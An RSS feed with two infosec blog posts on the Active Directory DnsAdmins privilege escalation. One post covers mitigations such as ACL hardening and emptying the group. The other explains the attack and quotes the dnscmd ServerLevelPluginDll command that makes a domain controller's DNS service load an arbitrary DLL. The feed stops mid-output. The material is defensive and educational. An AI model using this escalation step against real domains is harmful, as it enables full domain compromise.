<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    <title>phackt.org</title>
    <description>Some infosec stuff.</description>
    <link>https://phackt.org/</link>
    <atom:link href="https://phackt.org/feed.xml" rel="self" type="application/rss+xml"/>
    <pubDate>Fri, 13 Nov 2026 20:03:21 +0000</pubDate>
    <lastBuildDate>Fri, 13 Nov 2026 20:03:21 +0000</lastBuildDate>
    <generator>Jekyll v3.10.0</generator>
    
      <item>
        <title>How to mitigate DnsAdmins privilege escalation ?</title>
        <description>&lt;p&gt;Hello,&lt;/p&gt;

&lt;p&gt;Glad to see you in this second part of this &lt;a href=&quot;https://phackt.org/dnsadmins-group-exploitation-write-permissions&quot;&gt;post&lt;/a&gt;. In our previous &lt;a href=&quot;https://phackt.org/dnsadmins-group-exploitation-write-permissions&quot;&gt;article&lt;/a&gt; we showed which rights were involved in the DnsAdmins privilege escalation. Now let’s talk about how to properly mitigate this.&lt;br /&gt;
&lt;!--more--&gt;&lt;/p&gt;

&lt;p&gt;First of all, a few words about the &lt;a href=&quot;https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/05c8a4b6-43aa-49f7-8c31-df3ac72230f3&quot;&gt;Security Descriptor Propagator&lt;/a&gt; (SDProp) ;&lt;/p&gt;

&lt;p class=&quot;note&quot;&gt;
Within Active Directory, a default set of highly privileged accounts and groups are considered &lt;b&gt;protected accounts and groups.&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;
  
With protected accounts and groups, the objects&apos; permissions are set and enforced via an automatic process that ensures the permissions on the objects remains consistent even if the objects are moved the directory. Even if somebody manually changes a protected object&apos;s permissions, &lt;b&gt;this process ensures that permissions are returned to their defaults quickly.&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;

Additionally, permissions inheritance is disabled on protected groups and accounts, which means that even if the accounts and groups are moved to different locations in the directory, they do not inherit permissions from their new parent objects.&lt;br /&gt;&lt;br /&gt;
Inheritance is disabled on the AdminSDHolder object so that permission changes to the parent objects do not change the permissions of AdminSDHolder.&lt;br /&gt;&lt;br /&gt;  
&lt;/p&gt;

&lt;p&gt;This last sentence makes sense because the security descriptor used as a template to protect sensitive groups and users is stored in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nTSecurityDescriptor&lt;/code&gt; attribute from the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;AdminSDHolder&lt;/code&gt; object in Active Directory. The AdminSDHolder object is of class
container and has a DN of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CN=AdminSDHolder,CN=System,&amp;lt;Domain NC DN&amp;gt;&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Even if this is not a post about detailing the SDProp mechanism, why is this important ? Because this security mechanism called &lt;a href=&quot;https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/05c8a4b6-43aa-49f7-8c31-df3ac72230f3&quot;&gt;Security Descriptor Propagator&lt;/a&gt; (SDProp) aims at cutting any potential control paths to these &lt;strong&gt;Protected Users and Groups&lt;/strong&gt; as they are highly privileged.&lt;/p&gt;

&lt;p&gt;Unfortunately, DnsAdmins is not targeted by this security mechanism &lt;i class=&quot;fa fa-frown-o&quot; aria-hidden=&quot;true&quot;&gt;&lt;/i&gt;.&lt;/p&gt;

&lt;p&gt;What is the algorithm to define which object deserves to be protected by the SDProp ? (&lt;em&gt;taken from the ADTS - 3.1.1.6.1.2 Protected Objects&lt;/em&gt;) ;&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;d = domain;
o = protected security principal object

if  (
        (o!objectClass = group AND attribute o!groupType &amp;amp; GROUP_TYPE_SECURITY_ENABLED != 0) OR (o!objectClass = user)
    )
AND 
    (
        o!objectSid = d!objectSid + RID
    )
AND 
    (
        o is a member, directly or transitively, of any group in the set:
            built-in well-known group with RID = DOMAIN_ALIAS_RID_ADMINS
            built-in well-known group with RID = DOMAIN_ALIAS_RID_ACCOUNT_OPS
            built-in well-known group with RID = DOMAIN_ALIAS_RID_SYSTEM_OPS
            built-in well-known group with RID = DOMAIN_ALIAS_RID_PRINT_OPS
            built-in well-known group with RID = DOMAIN_ALIAS_RID_BACKUP_OPS
            built-in well-known group with RID = DOMAIN_ALIAS_RID_REPLICATOR
            account domain well-known group with RID = DOMAIN_GROUP_RID_ADMINS
            account domain well-known group with RID = DOMAIN_GROUP_RID_SCHEMA_ADMINS
            account domain well-known group with RID = DOMAIN_GROUP_RID_ENTERPRISE_ADMINS
    )
OR  
    (
        is one of the following well-known security principals:
            of class user with RID = DOMAIN_USER_RID_ADMIN
            of class user with RID = DOMAIN_USER_RID_KRBTGT
            of class group with RID = DOMAIN_GROUP_RID_CONTROLLERS
            of class group with RID = DOMAIN_GROUP_RID_READONLY_CONTROLLERS
    )
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;No mention to DnsAdmins here, even if we know that being member of DnsAdmins &lt;i class=&quot;fa fa-long-arrow-right&quot; aria-hidden=&quot;true&quot;&gt;&lt;/i&gt; compromised domain.&lt;/p&gt;

&lt;p&gt;At least we can manually set ACEs as restricted as the AdminSDHolder ones thanks to the cmdlet &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Set-ADSyncRestrictedPermissions&lt;/code&gt; from the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;AdSyncConfig.psm1&lt;/code&gt; module. This is part of the recommendations shared by this &lt;a href=&quot;https://www.cert.ssi.gouv.fr/uploads/guide-ad.html#dnsadmins&quot;&gt;Active Directory guide&lt;/a&gt;.&lt;/p&gt;
&lt;p class=&quot;note&quot;&gt;
The AzureADConnect.msi package can be downloaded from &lt;a href=&quot;https://go.microsoft.com/fwlink/?LinkId=615771&quot;&gt;https://go.microsoft.com/fwlink/?LinkId=615771&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;
The AdSyncConfig.psm1 module may be extracted from the Azure AD Connect installer with msiexec:&lt;br /&gt;
&lt;code&gt;msiexec /a &quot;AzureADConnect.msi&quot; /qb TARGETDIR=c:\temp\&lt;/code&gt;  
&lt;/p&gt;

&lt;h1 id=&quot;mitigations&quot;&gt;Mitigations&lt;/h1&gt;

&lt;h2 id=&quot;dnsadmins-cleared&quot;&gt;DnsAdmins cleared&lt;/h2&gt;
&lt;p&gt;Keep the DnsAdmins group empty, prefer a delegation group to manage your DNS service and to allow DNS zone updates. This is done thanks to the two following steps ;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;STEP 1: ALLOW ACCESS TO RPC USED BY DNS MANAGEMENT MMC SNAP-INS&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;In the domain naming context, under the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CN=System&lt;/code&gt; container, set the following access rights on the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CN=MicrosoftDNS&lt;/code&gt; container for your trustee delegation group ;
&lt;img class=&quot;dropshadowclass&quot; src=&quot;https://phackt.org/public/images/dnsadmins/step1.png&quot; style=&quot;margin-top:1.5rem;margin-bottom:1.5rem;&quot; /&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;STEP 2: ALLOW DNS ZONE MODIFICATIONS&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;In the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DC=DomainDnsZones&lt;/code&gt; naming context, on every zone you wish to delegate management, enable inheritance and set the following access rights on the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CN=MicrosoftDNS&lt;/code&gt; container for your trustee delegation group ;
&lt;img class=&quot;dropshadowclass&quot; src=&quot;https://phackt.org/public/images/dnsadmins/step2.png&quot; style=&quot;margin-top:1.5rem;margin-bottom:1.5rem;&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;dnsadmins-security-descriptor&quot;&gt;DnsAdmins security descriptor&lt;/h2&gt;
&lt;p&gt;This is an overview of the DnsAdmins security descriptor ;&lt;br /&gt;
&lt;img class=&quot;dropshadowclass&quot; src=&quot;https://phackt.org/public/images/dnsadmins/dnsadmins_sd_orig.png&quot; style=&quot;margin-top:1.5rem;margin-bottom:1.5rem;&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;owner&quot;&gt;Owner&lt;/h3&gt;
&lt;p&gt;The group should be changed, DnsAdmins should be owned by Domain Admins ; 
&lt;img class=&quot;dropshadowclass&quot; src=&quot;https://phackt.org/public/images/dnsadmins/owner_dnsadmins.png&quot; style=&quot;margin-top:1.5rem;margin-bottom:1.5rem;&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;acl&quot;&gt;ACL&lt;/h3&gt;
&lt;p&gt;Set rights at least as strict as the AdminSDHolder ones ;&lt;/p&gt;
&lt;div class=&quot;language-powershell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;Import-Module&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;C:\Program Files\Microsoft Azure Active Directory Connect\AdSyncConfig\AdSyncConfig.psm1&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$credential&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Get-Credential&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Set-ADSyncRestrictedPermissions&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-ADConnectorAccountDN&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;CN=DnsAdmins,CN=Users,DC=phackt,DC=local&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-Credential&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$credential&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;You can check that the DnsAdmins security descriptor is blocking inheritable ACEs ;&lt;/p&gt;
&lt;div class=&quot;language-powershell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;Get-ADSyncObjectsWithInheritanceDisabled&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-SearchBase&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;CN=DnsAdmins,CN=Users,DC=phackt,DC=local&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-ObjectClass&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;*&apos;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;

&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;DistinguishedName&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;CN&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;DnsAdmins&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;CN&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Users&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;DC&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;phackt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;DC&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;local&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Name&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;              &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;DnsAdmins&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ObjectClass&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;       &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;group&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ObjectGUID&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;54d747e8-f9c2-461b-b8f2-5cc0b99249cc&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ObjectSID&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;         &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;S-1-5-21-3816950244-2414788102-2833019223-1101&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sAMAccountName&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;DnsAdmins&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;You should get a security descriptor which should look like this ;&lt;br /&gt;
&lt;img class=&quot;dropshadowclass&quot; src=&quot;https://phackt.org/public/images/dnsadmins/dnsadmins_sd_after.png&quot; style=&quot;margin-top:1.5rem;margin-bottom:1.5rem;&quot; /&gt;&lt;/p&gt;

&lt;p class=&quot;note&quot;&gt;
The &lt;code&gt;DACL_PROTECTED&lt;/code&gt; parameter shows that the descriptor is blocking inheritable ACEs
&lt;/p&gt;

&lt;p&gt;As you see it is a way more restrictive than the original AdminSDHolder security descriptor shown below ;&lt;br /&gt;
&lt;img class=&quot;dropshadowclass&quot; src=&quot;https://phackt.org/public/images/dnsadmins/adminsdholder_sd.png&quot; style=&quot;margin-top:1.5rem;margin-bottom:1.5rem;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Also you can set, on the DnsAdmins group, a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Deny&lt;/code&gt; ACE forbidding &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Everyone&lt;/code&gt; for the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;WRITE_OWNER&lt;/code&gt; right (remember that being owner of an object provides the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;WRITE_DAC&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;READ_CONTROL&lt;/code&gt; over the object).&lt;/p&gt;

&lt;p&gt;However if you do this remember that replaying the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Set-ADSyncRestrictedPermissions&lt;/code&gt; cmdlet will reset the DACL and delete this ACE (on the other hand you could update the AdSyncConfig.psm1 module to match your needs).&lt;/p&gt;

&lt;h2 id=&quot;microsoftdns-security-descriptor&quot;&gt;MicrosoftDNS security descriptor&lt;/h2&gt;
&lt;p&gt;As seen previously, deleting the DnsAdmins &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;RIGHT_DS_WRITE_PROPERTY_EXTENDED&lt;/code&gt; right for the MicrosoftDNS container will prevent an attacker from writing the registry key to set the path of an arbitrary DLL to be loaded by the DNS service.&lt;br /&gt;
&lt;img class=&quot;dropshadowclass&quot; src=&quot;https://phackt.org/public/images/dnsadmins/withoutextwrite.png&quot; style=&quot;margin-top:1.5rem;margin-bottom:1.5rem;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;However i don’t know what is the impact if you benefits from the Microsoft support and if they need to exceptionally perform a maintenance operation, from DnsAdmins, which needs this right (nevertheless i never faced this situation).&lt;/p&gt;

&lt;h1 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h1&gt;
&lt;p&gt;Firstly i thought it was possible to add a new security group to be targeted by the SDProp mechanism but no, it’s not (and as i was said, it’s not for tomorrow). At least we can manually set some restricted rights on it. Also i’m having a look at creating a routine which will frequently override the DnsAdmins &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ntSecurityDescriptor&lt;/code&gt; based on the AdminSDHolder one to simulate the SDProp mechanism for custom groups.&lt;/p&gt;

&lt;p&gt;DnsAdmins is one of the so many ways an attacker can gain control of your Active Directory. If you are looking for a complete Active Directory security assessment checklist : &lt;a href=&quot;https://www.cert.ssi.gouv.fr/uploads/guide-ad.html&quot;&gt;https://www.cert.ssi.gouv.fr/uploads/guide-ad.html&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;[UPDATE 2021/12/06]: According to this &lt;a href=&quot;https://blog.0patch.com/2021/11/micropatch-for-remote-code-execution-by.html&quot;&gt;article&lt;/a&gt;, it seems that the issue has been finally fixed by Microsoft.&lt;/p&gt;

&lt;p&gt;Thanks folks for reading,&lt;br /&gt;
Cheers.&lt;/p&gt;
</description>
        <pubDate>Wed, 12 May 2021 00:00:00 +0000</pubDate>
        <link>https://phackt.org/dnsadmins-group-mitigation</link>
        <guid isPermaLink="true">https://phackt.org/dnsadmins-group-mitigation</guid>
        
        
        <category>Pentesting</category>
        
      </item>
    
      <item>
        <title>Why DnsAdmins privilege escalation is still working ?</title>
        <description>&lt;p&gt;Hello,&lt;/p&gt;

&lt;p&gt;In this article, first part of a serie, i’m talking about &lt;strong&gt;DnsAdmins&lt;/strong&gt; and why this is a group you should take care of. I know that several articles talk about the privilege escalation (DNS service running on a domain controller and loading an arbitrary DLL).&lt;/p&gt;

&lt;p&gt;We will quickly review this attack, but mainly i would rather focus on why it is still working nowadays, which permissions do you need to run this attack. I will conclude in a second part with the mitigations which can be implemented to prevent this attack.&lt;br /&gt;
&lt;!--more--&gt;&lt;/p&gt;

&lt;h1 id=&quot;what-is-dnsadmins-&quot;&gt;What is DnsAdmins ?&lt;/h1&gt;

&lt;p&gt;Long story short, as mentioned in the &lt;a href=&quot;https://www.cert.ssi.gouv.fr/uploads/guide-ad.html#dnsadmins&quot;&gt;Active Directory guide&lt;/a&gt; from the french cybersecurity national agency (ANSSI) ;&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;members of the DnsAdmins group are granted access rights to manage a Microsoft DNS service. 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;So as a member of DnsAdmins group, you can manage your DNS zones and DNS services. You can for example create a new DNS zone, manage your DNS entries, start / stop the &lt;strong&gt;dns.exe&lt;/strong&gt; service which is running as SYSTEM and being hosted, most of the time, by a domain controller. More generally you can perform any setup and configuration tasks dealing with your DNS servers.&lt;/p&gt;

&lt;p&gt;We already know that a privilege escalation exists from a user being a member of DnsAdmins. As a reminder from &lt;a href=&quot;https://adsecurity.org/?p=4064&quot;&gt;https://adsecurity.org/?p=4064&lt;/a&gt; ;&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;member of DnsAdmins or have write access to a DNS server object&lt;/li&gt;
  &lt;li&gt;DNS management is performed over RPC (UUID is 50ABC2A4–574D-40B3–9D66-EE4FD5FBA076) and the transport mechanism is the \PIPE\DNSSERVER named pipe.&lt;/li&gt;
  &lt;li&gt;According to Microsoft protocol specification, the “ServerLevelPluginDll” operation enables us to load a dll of our choosing (with no verification of dll path).&lt;/li&gt;
  &lt;li&gt;dnscmd.exe already implements this option: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;dnscmd.exe /config /serverlevelplugindll \\path\to\dll&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;When executing this dnscmd.exe command as a user that is a member of DnsAdmins, the following registry key is populated: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\DNS\Parameters\ServerLevelPluginDll&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;Restarting the DNS service will load the DLL in this path; however, the DLL needs to contain “one of the DnsPluginInitialize, DnsPluginCleanup or DnsPluginQuery exports.”&lt;/li&gt;
  &lt;li&gt;The DLL simply needs to be available on a network share that the Domain Controller’s computer account can access.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;As said ;&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;DNS management is performed over RPC (UUID is 50ABC2A4–574D-40B3–9D66-EE4FD5FBA076) and the transport mechanism is the \PIPE\DNSSERVER named pipe
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Let’s check ;&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;C:\Users\attacker\Documents\impacket&amp;gt;rpcdump.py DC01
...
Protocol: [MS-DNSP]: Domain Name Service (DNS) Server Management 
Provider: dns.exe 
UUID    : 50ABC2A4-574D-40B3-9D66-EE4FD5FBA076 v5.0 
Bindings: 
          ncacn_ip_tcp:0.0.0.0[49679]
...
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h1 id=&quot;microsoftdns-container&quot;&gt;MicrosoftDNS container&lt;/h1&gt;

&lt;p&gt;&lt;strong&gt;CN=System&lt;/strong&gt; is a top-level container of a domain naming context, which is used for miscellaneous domain configuration objects. Examples include trust objects, DNS objects, and group policy objects. It contains the &lt;strong&gt;CN=MicrosoftDNS&lt;/strong&gt; container.&lt;/p&gt;

&lt;p&gt;In general a service with specific &lt;a href=&quot;https://docs.microsoft.com/en-us/windows/win32/services/service-security-and-access-rights&quot;&gt;access rights&lt;/a&gt; stores its security settings in the registry key &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;HKLM\System\CurrentControlSet\Services\&amp;lt;service_name&amp;gt;\security&lt;/code&gt;.&lt;br /&gt;
In our case, the dns service will use as a security descriptor the one applied to the LDAP &lt;strong&gt;MicrosoftDNS&lt;/strong&gt; object.&lt;/p&gt;

&lt;p&gt;Thanks to &lt;a href=&quot;https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc771022(v=ws.11)&quot;&gt;ldp.exe&lt;/a&gt;, let’s have a look at the MicrosoftDNS security descriptor ;
&lt;img class=&quot;dropshadowclass&quot; src=&quot;https://phackt.org/public/images/dnsadmins/microsoftdns1.png&quot; style=&quot;margin-top:1.5rem;margin-bottom:1.5rem;&quot; /&gt;
&lt;img class=&quot;dropshadowclass&quot; src=&quot;https://phackt.org/public/images/dnsadmins/microsoftdns2.png&quot; style=&quot;margin-top:1.5rem;margin-bottom:1.5rem;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;You also can read the &lt;em&gt;ntSecurityDescriptor&lt;/em&gt; attribute thanks to this command ;&lt;/p&gt;
&lt;div class=&quot;language-powershell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;PS&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;C:\&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Get-ADObject&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;CN=MicrosoftDNS,CN=System,&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;$(&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Get-ADRootDSE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;defaultNamingContext&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-Properties&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;ntSecurityDescriptor&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;select&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-ExpandProperty&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;ntSecurityDescriptor&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;access&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Where-Object&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;$_&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;IdentityReference&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-Like&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;*DnsAdmins*&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;


&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ActiveDirectoryRights&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;CreateChild&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;DeleteChild&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;ListChildren&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;ReadProperty&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;DeleteTree&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;ExtendedRight&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Delete&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span 